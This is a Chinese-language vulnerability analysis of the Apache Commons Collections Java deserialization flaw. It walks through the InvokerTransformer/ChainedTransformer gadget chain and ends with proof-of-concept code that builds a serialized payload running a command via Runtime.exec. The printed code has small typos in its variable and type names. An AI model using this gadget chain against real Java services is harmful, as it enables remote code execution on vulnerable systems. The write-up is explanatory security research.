### Apache Commons Collections背景介绍
Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库，它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件，Commons Collections被广泛应用于各种Java应用的开发。
### Apache Commons Collections漏洞原理
Map类是存储键值对的数据结构，Apache Commons Collections中实现了类TransformedMap，用来对Map进行某种变换，只要调用decorate()函数，传入key和value的变换函数Transformer，即可从任意Map对象生成相应的TransformedMap，decorate()函数如下：
```java
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
```
Transformer是一个接口，其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示：
```java
public interface Transformer {
public Object transform(Object input);
}
```
当Map中的任意项的Key或者Value被修改，相应的Transformer就会被调用。除此以外，多个Transformer还能串起来，形成ChainedTransformer。
Apache Commons Collections中已经实现了一些常见的Transformer，其中有一个可以通过调用Java的反射机制来调用任意函数，叫做InvokerTransformer，代码如下：
```java
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
```
只需要传入方法名、参数类型和参数，即可调用任意函数。因此要想任意代码执行，我们可以首先构造一个Map和一个能够执行代码的ChainedTransformer，以此生成一个TransformedMap，然后想办法去触发Map中的MapEntry产生修改（例如setValue()函数），即可触发我们构造的Transformer。
测试代码如下：
```java
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
```
当上面的代码运行到setValue()时，就会触发ChainedTransformer中的一系列变换函数：首先通过ConstantTransformer获得Runtime类，进一步通过反射调用getMethod找到invoke函数，最后再运行命令calc.exe。
但是目前的构造还需要依赖于触发Map中某一项去调用setValue()，我们需要想办法通过readObject()直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler，这个类有一个成员变量memberValues是Map类型，如下所示：
```java
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...
```
更令人惊喜的是，AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数，如下所示：
```java
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
```
因此，我们只需要使用前面构造的Map来构造AnnotationInvocationHandler，进行序列化，当触发readObject()反序列化的时候，就能实现命令执行。另外需要注意的是，想要在调用未包含的package中的构造函数，我们必须通过反射的方式，综合生成任意代码执行的payload的代码如下：
```java
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
```
### 参考文档
http://www.myhack58.com/Article/html/3/62/2015/69493_4.htm
http://www.secpulse.com/archives/40420.html
http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
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